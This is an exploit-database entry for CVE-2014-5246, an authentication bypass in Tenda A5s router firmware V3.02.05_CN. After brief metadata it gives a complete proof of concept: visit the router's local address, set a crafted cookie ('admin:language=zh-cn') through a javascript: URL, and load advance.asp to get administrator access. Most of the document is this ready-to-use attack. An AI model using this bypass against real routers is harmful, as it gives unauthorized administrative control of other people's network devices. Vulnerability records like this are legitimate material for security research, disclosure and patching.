Tenda A5s Router 3.02.05_CN - Authentication Bypass

Author: zixian
type: webapps
platform: hardware
port: 80.0
date_added: 2014-08-18 
date_updated: 2014-08-18 
verified: 0 
codes: CVE-2014-5246;OSVDB-110146 
tags: 
aliases:  
screenshot_url:  
application_url:

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          Tenda A5s Router Authentication Bypass Vulnerability
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Author      : zixian
Mail        : me@zixian.org
Date        : Aug, 17-2014

Vendor      : http://tenda.com.cn/
Link        : http://tenda.com.cn/Catalog/Product/223
Version     : V3.02.05_CN
CVE         : CVE-2014-5246

Exploit & p0c
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go to
    http://192.168.2.1/

then set cookie with javascript

    javascript:document.cookie='admin:language=zh-cn'

go to
    http://192.168.2.1/advance.asp

you are the admin!
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